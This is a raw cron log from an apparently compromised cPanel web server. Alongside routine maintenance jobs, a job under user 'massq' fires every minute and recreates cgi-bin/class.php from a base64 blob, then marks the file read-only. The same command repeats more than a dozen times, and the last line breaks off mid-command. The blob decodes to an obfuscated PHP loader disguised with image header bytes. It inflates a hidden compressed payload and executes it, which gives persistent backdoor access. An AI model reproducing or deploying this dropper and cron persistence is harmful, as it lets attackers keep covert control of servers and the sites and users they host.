Apr  8 04:19:01 server CROND[5708]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  8 04:20:01 server CROND[5761]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr  8 04:20:01 server CROND[5763]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Apr  8 04:20:01 server CROND[5764]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr  8 04:20:01 server CROND[5765]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Apr  8 04:20:01 server CROND[5766]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  8 04:21:01 server CROND[5893]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  8 04:22:01 server CROND[5939]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  8 04:23:01 server CROND[5995]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  8 04:24:01 server CROND[6052]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  8 04:25:01 server CROND[6202]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr  8 04:25:01 server CROND[6206]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr  8 04:25:01 server CROND[6204]: (root) CMD (/usr/local/cpanel/bin/mysqluserstore >/dev/null 2>&1)
Apr  8 04:25:01 server CROND[6205]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  8 04:26:01 server CROND[6327]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  8 04:27:01 server CROND[6375]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Apr  8 04:27:01 server CROND[6376]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  8 04:28:01 server CROND[6424]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  8 04:29:01 server CROND[6494]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  8 04:30:01 server CROND[6653]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr  8 04:30:01 server CROND[6657]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Apr  8 04:30:01 server CROND[6654]: (mailman) CMD (/usr/local/cpanel/scripts/restartsrv_mailman --status &> /dev/null && /usr/local/cpanel/3rdparty/bin/python2 -S /usr/local/cpanel/3rdparty/mailman/cron/cull_bad_shunt)
Apr  8 04:30:01 server CROND[6656]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/scripts/update_db_cache && /usr/local/cpanel/scripts/update_db_cache)
Apr  8 04:30:01 server CROND[6655]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  8 04:30:01 server CROND[6658]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr  8 04:31:01 server CROND[6772]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  8 04:32:01 server CROND[6835]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo 